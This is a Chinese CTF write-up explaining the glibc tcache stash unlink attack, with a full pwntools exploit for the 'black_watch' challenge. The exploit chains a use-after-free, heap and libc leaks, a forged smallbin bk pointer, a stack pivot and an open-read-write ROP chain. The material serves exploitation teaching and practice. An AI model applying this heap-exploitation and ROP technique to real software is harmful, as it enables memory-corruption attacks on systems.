calloc
tcache stash unlink attack
orw(open-read-write)
tcache stash unlink
可以达成两个目的:
fake chunk
main_arena
地址看起来就像fastbin attack
和unsortedbin attack
的结合,威力很强,但是同时利用条件也非常苛刻:
chunk
在tcache
中有5
个,而在smallbin
中有2
个。(一般利用)calloc
UAF
来对smallbin
中的chunk
进行修改其原理是:
首先需要知道calloc
。calloc
和malloc
有两个不同点,其一是会自动清零申请到的chunk
,其二是calloc
不会申请tcache
中的chunk
。而smallbin
有一个特点,那就是当smallbin
中的chunk
被申请后,其通过bk
相连的所有chunk
都会被挂入tcache
。
由此,我们可以修改后插入的chunk
(它的bk
指针指向main_arena
)的bk
指针,使其指向我们控制的fake_chunk
。只要进行一次calloc
,glibc
会使得其从smallbin
中申请一个chunk
,然后将剩下的smallbin
中的chunk
都挂入tcache
(包括我们修改后的smallbin chunk
)。当我们修改后的chunk
被挂入tcache
后,由于其是通过bk
指针来寻找下一个chunk
的,因此会将fake_chunk
也挂入tcache
。
然后,其会试图再将fake_chunk
的bk
也挂入tcache
,其中会使得:bck->fd=bin
,会使得fake_chunk
的bk
指针指向的chunk
的fd
写一个main_arena
地址。因此,若我们想要在target_addr
写一个main_arena
的值,我们需要控制fake_chunk
的bck
的值为target_addr-0x10
。
整道题是一个非常典型的tcache stash unlink attack
的利用。观察程序,只能申请4种不同的chunk
,而且是使用calloc
申请。存在UAF
。可以进行编辑,但是一共只能进行一次。这些条件会使得即使存在UAF
,也难以利用其进行tcache poisoning
和fastbin attack
。输入666
可以进入secret
函数,secret
函数中只要指定的地址是一个libc
地址,就可以使用栈溢出来控制程序执行流。往这里写libc
地址的方法无非就是unsortedbin attack
、largebin attack
和tcache stash unlink attack
,而calloc
的使用已经非常明显地暗示我们使用tcache stash unlink
这种攻击方法了。
由于只有calloc
而没有malloc
,即使将fake_chunk
放入了tcache
我们也无法利用。那么,我们大致流程只需要进行tcache stash unlink attack
来把指定地址(后文称为target_addr
)写为main_arena
地址,然后利用secret
函数,通过栈迁移到可控的堆块中进行orw
即可。
整体的利用思路如下:
0x100
的chunk
备用。(待会用于释放掉之后成为tcache stash unlink
利用中的那5
个tcache
)UAF
,通过申请大小为0x410
的chunk
来在unsortedbin
中留下两个大小为0x410
的chunk
,分别用于泄露堆地址和libc
地址0x310
的chunk
,使其切割上述两个大小为0x410
的chunk
为两个大小为0x100
的chunk
。再申请一个使得都进入small bin
。chunk
进入tcache
。同时构造一个fake_chunk
,在其bk
处写target_addr - 0x10
smallbin
的chunk
的bk
指针,使其指向fake_chunk
。0x100
的chunk
进行一次calloc
,完成target_addr
写一个堆地址。secret
函数中利用栈溢出,栈迁移到提前布置了orw
的堆块中进行读取flag
。from pwn import *
from LibcSearcher import *
filename = './black_watch'
context(log_level='debug')
local = 1
all_logs = []
elf = ELF(filename)
libc = ELF('/glibc/2.29-0ubuntu2_amd64/libc.so.6')
if local:
sh = process(filename)
else:
sh = remote('node4.buuoj.cn', 27210)
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
choice_words = 'Your input: '
menu_add = 1
add_index_words = 'Please input the red packet idx: '
add_size_words = 'How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): '
add_content_words = 'Please input content: '
menu_del = 2
del_index_words = 'Please input the red packet idx: '
menu_show = 4
show_index_words = 'Please input the red packet idx: '
menu_edit = 3
edit_index_words = 'Please input the red packet idx: '
edit_size_words = ''
edit_content_words = 'Please input content: '
def add(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_add))
if add_index_words:
sh.sendlineafter(add_index_words, str(index))
if size == 0x10:
sh.sendlineafter(add_size_words, '1')
elif size == 0xf0:
sh.sendlineafter(add_size_words, '2')
elif size == 0x300:
sh.sendlineafter(add_size_words, '3')
elif size == 0x400:
sh.sendlineafter(add_size_words, '4')
else:
exit(0)
if add_content_words:
sh.sendafter(add_content_words, content)
def delete(index=-1):
sh.sendlineafter(choice_words, str(menu_del))
if del_index_words:
sh.sendlineafter(del_index_words, str(index))
def show(index=-1):
sh.sendlineafter(choice_words, str(menu_show))
if show_index_words:
sh.sendlineafter(show_index_words, str(index))
def edit(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_edit))
if edit_index_words:
sh.sendlineafter(edit_index_words, str(index))
if edit_size_words:
sh.sendlineafter(edit_size_words, str(size))
if edit_content_words:
sh.sendafter(edit_content_words, content)
def secret(payload):
sh.sendlineafter(choice_words, '666')
sh.sendafter('What do you want to say?', payload)
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
# 先申请5个大小为0x100的chunk备用
for i in range(12, 12+5):
add(index=i, size=0xf0, content='aaa')
# 下面总体是申请10个大小为0x410的chunk,但是为了不让释放到unsortedbin里面的chunk合并,采用了分步骤申请释放的方式
add(index=0, size=0x400, content='z'*0x400)
add(index=1, size=0x400, content='bbb')
for i in range(2, 2+8):
add(index=i, size=0x400, content='aaa')
for i in range(3, 2+8):
delete(index=i)
# 由于存在UAF,可以直接进行一个libc的泄露
delete(index=0)
show(index=0)
leak_libc = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('leak_libc', leak_libc)
libc.address = leak_libc - 0x1e4ca0
leak_info('libc.address', libc.address)
# 释放到unsortedbin,如此利用UAF可以进行一个堆地址的泄露
delete(index=2)
show(index=2)
heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('heap_leak', heap_leak)
heap_base = heap_leak - 0x1760
leak_info('heap_base', heap_base)
# 最终需要修改的目标地址
target_addr = heap_base + 0xa60
leak_info('target_addr', target_addr)
# 申请两个大小为0x310的chunk,如此会使得在unsortedbin里面的大小为0x410的两个chunk被切割为两个0x100的chunk
add(index=3, size=0x300, content='aa')
add(index=4, size=0x300, content='bbb')
# 再申请一个大小为0x310的chunk,使得两个切割后为0x100的chunk被置入small bin
add(index=5, size=0x300, content='aa')
# 释放最开始申请的五个大小为0x100的chunk进入tcache,此时已经满足利用雏形:大小为0x100的chunk在tcache中有五个,smallbin中有两个
for i in range(12, 12 + 5):
delete(index=i)
# 申请一个chunk作为fake chunk,由于tcache_stash_unlink可以在fake_chunk的bck的fd指针处写值,我们将bck写为target_addr-0x10
add(index=6, size=0x300, content=p64(0) + p64(target_addr - 0x10))
fake_chunk_addr = heap_base + 0x4310
leak_info('fake_chunk_addr', fake_chunk_addr)
# 修改smallbin最后一个chunk的bk指针时,需要保留fd指针,因此需要记录下来
fd_addr = heap_base + 0x2290
# 由于我们需要修改的smallbin是被切割出来的,我们可以通过切割前的chunk指针来对其进行修改,同时将orw的rop链写在上面
orw_addr = heap_base + 0x1770
leave_ret = libc.address + 0x58373
pop_rdi = libc.address + 0x26542
pop_rsi = libc.address + 0x26f9e
pop_rdx = libc.address + 0x12bda6
pop_rax = libc.address + 0x47cf8
syscall = libc.address + 0xcf6c5
orw_payload = b'/flag\x00aa' + p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(orw_addr) + p64(pop_rsi) + p64(0) + p64(syscall)
orw_payload += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x500) + p64(pop_rdx) + p64(0x30) + p64(syscall)
orw_payload += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x500) + p64(pop_rdx) + p64(0x30) + p64(syscall)
# 写下orw的rop链的同时,修改smallbin最后一个chunk的bk指针,同时保留fd指针
edit(index=0, content=orw_payload.ljust(0x300, b'a') + p64(0) + p64(0x101) + p64(fd_addr) + p64(fake_chunk_addr))
debug()
# 再次进行calloc将会使得fake_chunk被挂入tcache,同时fake_chunk的bck有:bck->fd = bin,导致target_addr被写值
add(index=7, size=0xf0, content='a')
# 这样一来就通过了secret函数的条件,写栈溢出,通过栈迁移来执行orw
payload = b'a'*0x80 + p64(orw_addr) + p64(leave_ret)
secret(payload)
flag = sh.recvuntil(b'\x0a', drop=True).decode('utf-8')
print(flag)